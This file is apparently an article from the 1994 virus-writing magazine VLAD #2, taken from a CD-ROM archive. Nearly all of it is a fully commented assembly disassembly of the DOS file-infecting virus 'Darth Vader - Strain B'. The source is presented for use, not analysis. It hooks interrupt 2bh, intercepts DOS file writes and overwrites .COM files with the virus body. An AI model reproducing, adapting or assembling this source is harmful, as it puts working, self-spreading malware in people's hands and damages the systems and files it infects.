home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#2.ZIP / ARTICLE.3_6 < prev    next >
Encoding:
Text File  |  1994-10-31  |  9.8 KB  |  183 lines

  1. ;                D     A     R     K     M     A     N
  2. ;                           Proudly Presents
  3. ;                Disassembly Of Darth Vader - Strain B
  4.  
  5.  
  6. darthvb      segment
  7.              assume  cs:darthvb,ds:darthvb
  8.              org     100h                ; Origin of COM-file
  9.  
  10. code:
  11.              call    viruscode
  12. viruscode:
  13.              pop     si                  ; Load SI from stack
  14.              sub     si,03h              ; SI = delta offset
  15.              mov     ds:[0f0h],si        ; DS:[00F0h] = delta offset
  16.              mov     ds:[0feh],ax        ; Save AX at PSP
  17.              xor     ax,ax               ; Clear AX
  18.              mov     ds,ax               ; DS = segment of interrupt table
  19.              mov     es,ds:[0aeh]        ; ES = segment of int 2bh
  20.              mov     ax,9000h
  21.              mov     ds,ax               ; DS = segment 9000h
  22.              xor     di,di               ; Clear DI
  23. locatearea:
  24.              inc     di                  ; Increase DI
  25.              cmp     di,0f00h            ; DI = 3840? (DI > 3840)
  26.              ja      virusexit           ; Greater? Jump to virusexit
  27.              push    di                  ; Save DI at stack
  28.              xor     si,si               ; Clear SI
  29.              mov     cx,158h             ; Compare 344 bytes
  30.              repz    cmpsb               ; Compare segment 9000h with int 2bh
  31.              pop     di                  ; Load DI from stack
  32.              jcxz    installvir          ; Equal? Jump to installvir
  33.              jmp     locatearea
  34. installvir:
  35.              mov     si,cs:[0f0h]        ; SI = delta offset
  36.              mov     cs:[0f2h],di        ; CS:[00F2h]=offset of int 2bh virus
  37.              push    cs                  ; Save CS at stack
  38.              pop     ds                  ; Load DS from stack (CS)
  39.              mov     cx,158h             ; Move 344 bytes
  40.              repz    movsb               ; Move virus to 2bh
  41.              push    es                  ; Save ES at stack
  42.              pop     ds                  ; Load DS from stack (ES)
  43.              mov     si,di               ; SI = offset of int 2bh virus end
  44. locatemodi:
  45.              inc     si                  ; Increase SI
  46.              jz      virusexit           ; SI = 0? Jump to virusexit
  47.              push    si                  ; Save SI at stack
  48.              lodsw                       ; Load AX from DS:[SI]
  49.              xchg    ax,bx               ; Exchange AX with BX
  50.              lodsb                       ; Load AL from DS:[SI]
  51.              cmp     bx,0ff36h           ; BX = 65334?
  52.              jz      modifyint2b         ; Equal? Jump to modifyint2b
  53. restoreidx:
  54.              pop     si                  ; Load SI from stack
  55.              jmp     locatemodi
  56. modifyint2b:
  57.              cmp     al,16h              ; AL = 22?
  58.              jnz     restoreidx          ; Not equal? Jump to restoreidx
  59.              pop     si                  ; Load SI from stack
  60.              push    si                  ; Save SI at stack
  61.              mov     di,cs:[0f2h]        ; DI = offset of int 2bh virus
  62.              mov     ds:[04h],di         ; Save DI at int 2bh code
  63.              add     di,141h             ; DI = offset of int2bcode
  64.              movsw                       ; Move word DS:[SI] to ES:[DI]
  65.              movsw                       ;  "    "      "    "    "
  66.              movsb                       ;  "   byte    "    "    "
  67.              pop     di                  ; Load DI from stack
  68.              mov     al,9ah              ; AL = object code of call far
  69.              stosb                       ; Overwrite byte of int 2bh code
  70.              mov     ax,95h
  71.              add     ax,cs:[0f2h]        ; AX = offset of vir2bhpart + 3
  72.              stosw                       ; Overwrite word of int 2bh code
  73.              mov     ax,es               ; AX = segment of virus
  74.              stosw                       ; Overwrite word of int 2bh code
  75. virusexit:
  76.              push    cs                  ; Save CS at stack
  77.              push    cs                  ; Save CS at stack
  78.              pop     ds                  ; Save DS at stack (CS)
  79.              pop     es                  ; Save ES at stack (CS)
  80.              mov     di,100h
  81.              push    di                  ; Save DI at stack
  82.              mov     si,ds:[0f0h]        ; SI = delta offset
  83.              add     si,147h             ; SI = SI + 327
  84.              movsw                       ; Move int 20h to beginning of virus
  85.              movsb                       ;  "   nop     "      "     "    "
  86.              mov     ax,ds:[0feh]        ; Load AX from PSP
  87.              ret                         ; Return!
  88.  
  89. vir2bhpart:
  90.              jmp     exit2bhvir
  91.  
  92. ; Interrupt 2bh makes a far call to this code:
  93.  
  94.              mov     cs:[0ah],ds         ; Save DS at int 2bh code
  95.              mov     cs:[0ch],dx         ; Save DX at int 2bh code
  96.              mov     cs:[0eh],cx         ; Save CX at int 2bh code
  97.              push    ax                  ; Save AX at stack
  98.              push    bx                  ; Save BX at stack
  99.              push    cx                  ; Save CX at stack
  100.              push    es                  ; Save ES at stack
  101.              push    si                  ; Save SI at stack
  102.              push    di                  ; Save DI at stack
  103.              cmp     ah,40h              ; AH = 64? (write to file)
  104.              jnz     vir2bhpart          ; Not equal? Jump vir2bhpart
  105.              cmp     cx,168h             ; CX=360? (number of bytes to write)
  106.              jb      vir2bhpart          ; Less? Jump to vir2bhpart
  107.              mov     ax,1220h            ; Get system file table number
  108.              int     2fh                 ; Do it! (multiplex)
  109.              mov     bl,es:[di]          ; BL = system file table number
  110.              mov     ax,1216h            ; Get address of system fcb
  111.              int     2fh                 ; Do it! (multiplex)
  112.              add     di,28h              ; DI = DI + 40
  113.              push    cs                  ; Save CS at stack
  114.              pop     ds                  ; Load DS from stack (CS)
  115.              mov     si,14ah
  116.              add     si,ds:[04h]         ; SI = offset of infectext
  117.              mov     cx,03h              ; Compare 3 bytes
  118.              repz    cmpsb               ; Check for infectable extension
  119.              jnz     exit2bhvir          ; Not equal? Jump to exit2bhvir
  120.              push    ds                  ; Save DS at stack
  121.              pop     es                  ; Load ES from stack (DS)
  122.              mov     ds,cs:[0ah]         ; Load DS from int 2bh code
  123.              mov     si,cs:[0ch]         ; Load SI from int 2bh code (DX)
  124.              mov     di,147h
  125.              add     di,cs:[04h]         ; DI = offset of infectext - 3
  126.              movsw                       ; Move int 20h to beginning of virus
  127.              movsb                       ;  "   nop     "      "     "    "
  128.              mov     ax,9000h
  129.              mov     es,ax               ; ES = segment 9000h
  130.              mov     cx,cs:[0eh]         ; Load CX from int 2bh code
  131. locate2bh:
  132.              xor     di,di               ; Clear DI
  133.              inc     si                  ; Increase SI
  134.              dec     cx                  ; Decrease CX
  135.              jz      exit2bhvir          ; CX = 0? Jump to exit2bhvir
  136.              push    cx                  ; Save CX at stack
  137.              push    si                  ; Save SI at stack
  138.              mov     cx,158h             ; Compare 344 bytes
  139.              repz    cmpsb               ; Compare segment 9000h with int 2bh
  140.              pop     si                  ; Load SI from stack
  141.              jcxz    modiint2b           ; Equal? Jump to modiint2b
  142.              pop     cx                  ; Load CX from stack
  143.              jmp     locate2bh
  144. modiint2b:
  145.              pop     cx                  ; Load CX from stack
  146.              push    si                  ; Save SI at stack
  147.              push    ds                  ; Save DS at stack
  148.              mov     es,cs:[0ah]         ; Load ES from int 2bh code (DS)
  149.              mov     di,cs:[0ch]         ; Load DI from int 2bh code (DX)
  150.              mov     al,0e9h             ; AL = object code of jump near
  151.              stosb                       ; Overwrite byte of int 2bh code
  152.              sub     si,cs:[0ch]         ; SI = SI - DX
  153.              sub     si,03h              ; SI = SI - 3
  154.              mov     ax,si
  155.              stosw                       ; Overwrite word of int 2bh code
  156.              pop     es                  ; Load ES from stack
  157.              pop     di                  ; Load DI from stack
  158.              push    cs                  ; Save CS at stack
  159.              pop     ds                  ; Load DS from stack (CS)
  160.              mov     si,cs:[04h]         ; SI = offset of int 2bh virus
  161.              mov     cx,158h             ; Move 344 bytes
  162.              repz    movsb               ; Overwrite real code with virus
  163. exit2bhvir:
  164.              pop     di                  ; Load DI from stack
  165.              pop     si                  ; Load SI from stack
  166.              pop     es                  ; Load ES from stack
  167.              pop     cx                  ; Load CX from stack
  168.              pop     bx                  ; Load BX from stack
  169.              pop     ax                  ; Load AX from stack
  170.              mov     dx,cs:[0ch]         ; Load DX from int 2bh code
  171.              mov     ds,cs:[0ah]         ; Load DS from int 2bh code
  172.  
  173. int2bcode    db      5 dup(?)            ; Int 2bh's realcode is saved here
  174.              retf                        ; Return far!
  175.              int     20h                 ; Exit to DOS!
  176.              nop
  177. infectext    db      'COM'               ; Infectable extension
  178. virusname    db      'Darth Vader'
  179.              nop
  180.  
  181. darthvb      ends
  182. end          code
  183.